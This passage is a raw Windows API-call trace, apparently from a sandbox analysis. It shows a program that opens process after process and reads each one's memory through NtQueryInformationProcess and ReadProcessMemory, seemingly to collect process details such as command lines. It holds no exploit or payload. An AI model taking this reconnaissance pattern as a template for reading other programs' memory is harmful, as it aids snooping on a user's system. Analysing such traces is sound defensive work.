_Radix=10 | out: _Buffer="1408") returned 0x0 [0282.698] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1408") returned 4 [0282.699] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.699] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.739] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x580) returned 0x464 [0282.739] GetLastError () returned 0x0 [0282.740] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1bf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a18c8, lpBuffer=0x670f7c2b0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.742] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.743] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.744] malloc (_Size=0x18) returned 0x196ef0d1c20 [0282.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1906, lpBuffer=0x196ef0d1c20, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1c20*, lpNumberOfBytesRead=0x0) returned 1 [0282.744] free (_Block=0x196ef0d1c20) [0282.745] CloseHandle (hObject=0x464) returned 1 [0282.745] _ui64tow_s (in: _Value=0x634, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1588") returned 0x0 [0282.750] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1588") returned 4 [0282.751] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.751] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.780] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x634) returned 0x464 [0282.780] GetLastError () returned 0x0 [0282.780] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.781] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.781] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.781] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9034a0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.781] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9030e8, lpBuffer=0x670f7c2b0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.782] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.784] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.784] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.784] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b902ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.784] malloc (_Size=0x64) returned 0x196ef0d0370 [0282.784] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b903134, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0282.785] free (_Block=0x196ef0d0370) [0282.786] CloseHandle (hObject=0x464) returned 1 [0282.787] _ui64tow_s (in: _Value=0x698, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1688") returned 0x0 [0282.792] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1688") returned 4 [0282.794] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.794] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.839] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x464 [0282.839] GetLastError () returned 0x0 [0282.839] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.841] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.843] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.843] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.843] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.843] malloc (_Size=0x5a) returned 0x196ef0d0370 [0282.843] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03088, lpBuffer=0x196ef0d0370, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0282.844] free (_Block=0x196ef0d0370) [0282.845] CloseHandle (hObject=0x464) returned 1 [0282.845] _ui64tow_s (in: _Value=0x7e8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2024") returned 0x0 [0282.850] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2024") returned 4 [0282.851] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.851] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x464 [0282.867] GetLastError () returned 0x0 [0282.867] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a18e8, lpBuffer=0x670f7c2b0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.869] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.871] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a12d0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.871] malloc (_Size=0x32) returned 0x196ef0d0cd0 [0282.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1918, lpBuffer=0x196ef0d0cd0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0cd0*, lpNumberOfBytesRead=0x0) returned 1 [0282.872] free (_Block=0x196ef0d0cd0) [0282.873] CloseHandle (hObject=0x464) returned 1 [0282.873] _ui64tow_s (in: _Value=0x2e0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="736") returned 0x0 [0282.887] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="736") returned 3 [0282.889] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.889] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.907] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2e0) returned 0x464 [0282.907] GetLastError () returned 0x0 [0282.908] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.908] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.909] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.909] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c31c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.909] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c318c8, lpBuffer=0x670f7c2b0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.910] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.911] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.912] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c312b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.912] malloc (_Size=0x6c) returned 0x196ef0d2120 [0282.912] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c3190c, lpBuffer=0x196ef0d2120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0282.913] free (_Block=0x196ef0d2120) [0282.914] CloseHandle (hObject=0x464) returned 1 [0282.914] _ui64tow_s (in: _Value=0x8d4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2260") returned 0x0 [0282.919] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2260") returned 4 [0282.921] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.921] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.947] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x464 [0282.947] GetLastError () returned 0x0 [0282.947] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.947] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.949] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303780, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.949] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c7983032e8, lpBuffer=0x670f7c2b0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.951] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.953] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.953] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.953] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798302c60, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.954] malloc (_Size=0x118) returned 0x196ef0d4e70 [0282.954] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303388, lpBuffer=0x196ef0d4e70, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0282.955] free (_Block=0x196ef0d4e70) [0282.957] CloseHandle (hObject=0x464) returned 1 [0282.957] _ui64tow_s (in: _Value=0x934, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2356") returned 0x0 [0282.963] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2356") returned 4 [0282.964] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.964] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0282.982] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x934) returned 0x464 [0282.982] GetLastError () returned 0x0 [0282.983] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0282.983] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0282.983] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0282.984] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e03730, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0282.985] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e032b4, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0282.987] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0282.988] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0282.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0282.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e02c20, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0282.990] malloc (_Size=0x11a) returned 0x196ef0d4e70 [0282.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e0334a, lpBuffer=0x196ef0d4e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0282.991] free (_Block=0x196ef0d4e70) [0282.992] CloseHandle (hObject=0x464) returned 1 [0282.992] _ui64tow_s (in: _Value=0x8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0282.997] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="8") returned 1 [0282.998] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0282.998] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.015] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0x464 [0283.015] GetLastError () returned 0x0 [0283.016] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.016] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.016] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.016] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b303490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.017] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b3030e8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.018] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.019] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.019] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x227ce00020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.019] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1db5b302ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.020] malloc (_Size=0x6a) returned 